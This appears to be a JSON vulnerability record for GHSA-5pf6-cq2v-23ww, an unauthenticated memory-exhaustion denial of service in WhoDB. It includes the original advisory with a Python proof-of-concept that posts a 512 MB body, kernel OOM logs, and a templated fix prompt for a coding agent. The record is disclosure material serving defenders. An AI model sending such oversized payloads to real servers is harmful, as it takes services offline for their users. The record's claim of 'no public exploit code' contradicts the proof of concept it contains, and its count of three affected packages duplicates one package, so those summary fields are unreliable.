{"answers":{"affected":"3 open source packages ship an affected version, including github.com/clidey/whodb/core.","exploited":"There is no known exploitation of GHSA-5pf6-cq2v-23ww in the wild and no public exploit code.","fix":"No fix has been published for GHSA-5pf6-cq2v-23ww yet. Limit exposure of the affected software until one is available.","what":"GHSA-5pf6-cq2v-23ww is a denial of service vulnerability in github.com/clidey/whodb/core, published on 19 Dec 2024. An attacker can exploit it over the internet without logging in, with no action from the victim."},"fix_prompt":"Check this codebase for GHSA-5pf6-cq2v-23ww and fix it if it is affected.\n\nWhat it is: GHSA-5pf6-cq2v-23ww is a denial of service vulnerability in github.com/clidey/whodb/core, published on 19 Dec 2024. An attacker can exploit it over the internet without logging in, with no action from the victim.\nExploitation: There is no known exploitation of GHSA-5pf6-cq2v-23ww in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- github.com/clidey/whodb/core (Go): affected all versions; no fix listed\n- github.com/clidey/whodb/core (Go): affected all versions; no fix listed\n- github.com/clidey/whodb/core (Go): affected all versions; no fix listed\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-5pf6-cq2v-23ww/ (Markdown: https://insights.sbomify.com/GHSA-5pf6-cq2v-23ww/index.md)","id":"GHSA-5pf6-cq2v-23ww","markdown":"https://insights.sbomify.com/GHSA-5pf6-cq2v-23ww/index.md","name":"GHSA-5pf6-cq2v-23ww","record":{"aliases":["GO-2024-3350"],"analysis":{"component_type":"server_software","fix_type":"no_fix_stated","impacts":["denial_of_service"],"network_reachable":"yes","non_default_config":false,"product_category":"WhoDB database tool","requires_auth":"none","summary":"Unauthenticated attackers can cause denial of service in WhoDB by sending large request bodies that exhaust server memory.","user_interaction":"not_required","vuln_class":"denial_of_service"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"### Summary\nA Denial of Service (DoS) vulnerability in the authentication middleware allows any client to cause memory exhaustion by sending large request bodies. The server reads the entire request body into memory without size limits, creating multiple copies during processing, which can lead to Out of Memory conditions.\n\nAffects all versions up to the latest one (v0.43.0).\n\n### Details\n\nThe vulnerability exists in the AuthMiddleware function in `core/src/auth/auth.go`. The middleware processes all API requests (`/api/*`) and reads the entire request body using `io.ReadAll` without any size limits:\n\n```go\nfunc AuthMiddleware(next http.Handler) http.Handler {\n  return http.HandlerFunc(func(w http.ResponseWriter, r http.Request) {\n    // No size limit on body reading\n    body, err := io.ReadAll(r.Body)\n\n    // ...\n\n    // Creates another copy of the body\n    r.Body = io.NopCloser(bytes.NewReader(body))\n\n    // ...\n\n    // Unmarshals the body again, creating more copies\n    if err := json.Unmarshal(body, \u0026query); err != nil {\n        return false\n    }\n  })\n}\n```\n\nThe issue is amplified by:\n1. A generous 10-minute timeout (`middleware.Timeout(10*time.Minute)`)\n2. High throttle limits (10000 concurrent requests, 1000 backlog)\n3. Multiple copies of the request body being created during processing\n4. No per-client rate limiting\n\n### PoC\n\n1. Run the latest WhoDB:\n\n```\ndocker run -it -p 127.0.0.1:8080:8080 clidey/whodb\n```\n\n2. Prepare a PoC Python script:\n\n```python\nimport requests\nimport base64\nimport json\nimport time\n\n# Create a sample token\ncredentials = {\n    \"database\": \"test\"\n}\ntoken = base64.b64encode(json.dumps(credentials).encode()).decode()\n\n# Create a large query that will pass initial checks\n# Using \"Login\" operation which is allowed\npayload = {\n    \"operationName\": \"Login\",\n    \"variables\": {},\n    # Create a large string (512 MB)\n    \"query\": \"A\" * (512 * 1024 * 1024)\n}\n\nheaders = {\n    \"Content-Type\": \"application/json\",\n    \"Cookie\": f\"Token={token}\"  # or use Authorization header if IsAPIGatewayEnabled\n}\n\nurl = \"http://localhost:8080/api/query\"  # adjust as needed\n\nprint(\"Sending large payload...\")\nstart = time.time()\ntry:\n    response = requests.post(url, json=payload, headers=headers)\n    print(f\"Response status: {response.status_code}\")\nexcept Exception as e:\n    print(f\"Request failed: {e}\")\nprint(f\"Time taken: {time.time() - start:.2f}s\")\n```\n\n3. Run the script and observe memory usage of the WhoDB container. Run it a few times in parallel, or increase the payload size. I was able to hit the OOM killer on a 8 GB VM quickly. Process \"core\" is the entrypoint of the container.\n\n```\n[3970241.161574] oom-kill:constraint=CONSTRAINT_NONE,nodemask=(null),cpuset=docker-92dede9aa7833cc0db5d7f780a46f57f0b7d627a15d9d0dd6233cd03544542ec.scope,mems_allowed=0,global_oom,task_memcg=/system.slice/docker-92dede9aa7833cc0db5d7f780a46f57f0b7d627a15d9d0dd6233cd03544542ec.scope,task=core,pid=411856,uid=0\n[3970241.161611] Out of memory: Killed process 411856 (core) total-vm:8359408kB, anon-rss:5548564kB, file-rss:0kB, shmem-rss:0kB, UID:0 pgtables:11032kB oom_score_adj:0\n```\n\n### Impact\n\n- Severity: High\n- Authentication Required: No (public API endpoint)\n- Affected Components: All API endpoints (`/api/*`)\n- Impact Type: Denial of Service\n\nAny client can send arbitrarily large request bodies to the API endpoints. Due to the multiple copies created during processing and lack of size limits, this can quickly exhaust server memory, potentially affecting all users of the system. The high concurrent request limits and long timeout make this particularly effective for DoS attacks.\n\nFix considerations:\n1. Implement request body size limits using `http.MaxBytesReader`\n2. Reduce the request timeout from 10 minutes\n3. Implement per-client rate limiting\n4. Consider streaming body processing instead of loading entirely into memory","ecosystems":["Go"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"WhoDB Allows Unbounded Memory Consumption in Authentication Middleware Can Lead to Denial of Service","id":"GHSA-5pf6-cq2v-23ww","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"Go","product":null,"products":[],"type":"denial_of_service","year":"2024"},"n_packages":3,"n_references":null,"packages":[{"ecosystem":"Go","fixed":[],"introduced":["0"],"last_affected":[],"package":"github.com/clidey/whodb/core","purl":null,"source":"GHSA-5pf6-cq2v-23ww"},{"ecosystem":"Go","fixed":[],"introduced":["0"],"last_affected":[],"package":"github.com/clidey/whodb/core","purl":"pkg:golang/github.com/clidey/whodb/core","source":"GHSA-5pf6-cq2v-23ww"},{"ecosystem":"Go","fixed":[],"introduced":["0"],"last_affected":[],"package":"github.com/clidey/whodb/core","purl":"pkg:golang/github.com/clidey/whodb/core","source":"GO-2024-3350"}],"products":null,"published":"2024-12-19","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"},{"class":"attribution","licence":"CC BY 4.0","name":"Go Vulnerability Database","prefix":"GO"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"Unauthenticated attackers can cause denial of service in WhoDB by sending large request bodies that exhaust server memory.","url":"https://insights.sbomify.com/GHSA-5pf6-cq2v-23ww/"}